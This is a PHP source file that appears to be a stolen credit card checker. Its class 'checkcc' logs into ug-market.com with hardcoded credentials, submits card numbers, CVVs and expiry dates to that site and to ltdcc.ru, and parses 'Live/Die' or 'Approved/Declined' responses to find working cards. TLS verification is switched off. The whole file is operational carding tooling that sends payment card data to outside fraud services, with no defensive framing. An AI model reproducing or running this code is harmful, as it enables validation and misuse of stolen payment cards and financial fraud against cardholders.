<?php
class checkcc
{
	public static function toolbc($soure)
	{
	$timeout=200;
	$ch = curl_init(); 
	curl_setopt($ch, CURLOPT_URL, "http://ug-market.com/ugm/xlogin.php?xsale=hungnguyen"); 
	curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/6.0 (Windows; U; Windows NT 5.1; en-US; rv:1.7.7) Gecko/20050414 Firefox/1.0.3"); 
		//curl_setopt($ch, CURLOPT_POSTFIELDS,$post);
	curl_setopt($ch, CURLOPT_REFERER, "http://ug-market.com/ugm/login.php");
	curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); 
	curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1); 
	curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, $timeout);
	curl_setopt($ch, CURLOPT_COOKIEFILE, 'cookies.txt'); 
	curl_setopt($ch, CURLOPT_COOKIEJAR, 'cookies.txt'); 
	curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); 
	curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0); 
	$result1 = curl_exec($ch);
	curl_close($ch);
	
	$submit=">> Login <<";
	$post="username=hungnguyen&password=123456&submit=$submit";
	$url3="http://ug-market.com/ugm/xlogin.php?xsale=hungnguyen";
	$ch = curl_init(); 
	curl_setopt($ch, CURLOPT_URL, $url3); 
	curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/6.0 (Windows; U; Windows NT 5.1; en-US; rv:1.7.7) Gecko/20050414 Firefox/1.0.3"); 
	curl_setopt($ch, CURLOPT_POSTFIELDS,$post);
	curl_setopt($ch, CURLOPT_REFERER, "http://ug-market.com/ugm/xlogin.php?xsale=hungnguyen");
	curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); 
	curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1); 
	curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, $timeout);
	curl_setopt($ch, CURLOPT_COOKIEFILE, 'cookies.txt'); 
	curl_setopt($ch, CURLOPT_COOKIEJAR, 'cookies.txt'); 
	curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); 
	curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0); 
	$result1 = curl_exec($ch);
	curl_close($ch);
//echo $result1;


	$url4="http://ug-market.com/ugm/checkcvv.php";
	$post="cvvlist=$soure&date=1&type=1&submit=Check Now!";
	//$post="cclist=$soure&date=1&type=1&submit=Check Now!";
	$ch = curl_init(); 
	curl_setopt($ch, CURLOPT_URL, $url4); 
	curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/6.0 (Windows; U; Windows NT 5.1; en-US; rv:1.7.7) Gecko/20050414 Firefox/1.0.3");
	curl_setopt($ch, CURLOPT_POSTFIELDS,$post);
	curl_setopt($ch, CURLOPT_REFERER, "http://ug-market.com/ugm/checkcvv.php");
	//curl_setopt($ch, CURLOPT_REFERER, "http://ug-market.com/ugm/checkccn.php");
	curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); 
	curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1); 
	curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, $timeout);
	curl_setopt($ch, CURLOPT_COOKIEFILE, 'cookies.txt'); 
	curl_setopt($ch, CURLOPT_COOKIEJAR, 'cookies.txt'); 
	curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); 
	curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0); 
	$result4 = curl_exec($ch);
	curl_close($ch);
//echo $result4;

if(stristr($result4,'<font color=red><b>Live</b></font></td>')==true)
{
//	echo "live";
	return 1; // live
	
}
else if(stristr($result4,'<font color=blue><b>Die</b></font></td>')==true)
{

	return 0; // die

}
else
{
	//echo "k live k die";
	return 2; //
}


}
public static function checkCodeLtd($ccnum,$ex)
{
	$url="http://ltdcc.ru/?s=cccheck";
	$post="cc=$ccnum&exp=$ex&submit=Check";
	$login=ltdcc::loginltd();
	$timeout="200";
	$ch = curl_init(); 
	curl_setopt($ch, CURLOPT_URL, $url); 
	curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/6.0 (Windows; U; Windows NT 5.1; en-US; rv:1.7.7) Gecko/20050414 Firefox/1.0.3");
	curl_setopt($ch, CURLOPT_POSTFIELDS,$post);
	curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); 
	curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1); 
	curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, $timeout);
	curl_setopt($ch, CURLOPT_COOKIEFILE, 'cookies.txt'); 
	curl_setopt($ch, CURLOPT_COOKIEJAR, 'cookies.txt'); 
	curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); 
	curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0); 
	$result = curl_exec($ch);
	curl_close($ch);
	if(stristr($result,"Declined")==true)
	{
		return 0; //
	}
	else if(stristr($result,"Approved")==true)
	{
		return 1; //
	}
	else
	{
		return 2; // erro
	}
}
}
?>